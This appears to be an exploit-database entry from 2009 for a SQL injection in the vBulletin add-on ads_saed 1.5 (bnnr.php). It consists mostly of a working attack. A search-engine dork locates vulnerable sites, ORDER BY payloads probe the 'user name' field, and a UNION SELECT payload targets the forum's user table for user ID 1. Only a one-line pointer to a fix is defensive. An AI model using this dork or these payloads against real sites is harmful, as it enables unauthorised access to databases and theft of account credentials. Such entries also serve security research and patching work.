vBulletin ads_saed 1.5 - 'bnnr.php' SQL Injection

Author: Hussin X
type: webapps
platform: php
port: 
date_added: 2009-12-29 
date_updated: 2016-11-10 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

vBulletin ads_saed 1.5 (bnnr.php) SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com<http://www.IQ-TY.com>

Mail : darkangel_G85@yahoo.com<mailto:darkangel_G85@yahoo.com>
___________________________________

## script name : ads_saed

## d0rk : inurl:"vb/bnnr.php"

## Example :


Go to url : http://server/vb/bnnr.php<http://target.com/vb/bnnr.php>

Exploit in the input "user name" blind injection

user name = ' ORDER BY 15/*

user name = ' ORDER BY 16/*

Now go to Source page  :  " Unknown column '16' in 'order clause'"


exploit :

user name =
' UNION SELECT 1,2,3,4,5,4,7,8,9,10,11,12,13,14,15 FROM user where+userid=1/*



# Solution : See here

http://www.traidnt.net/vb/showthread.php?t=1102593

or update new Product



End

IQ-SecuritY FoRuM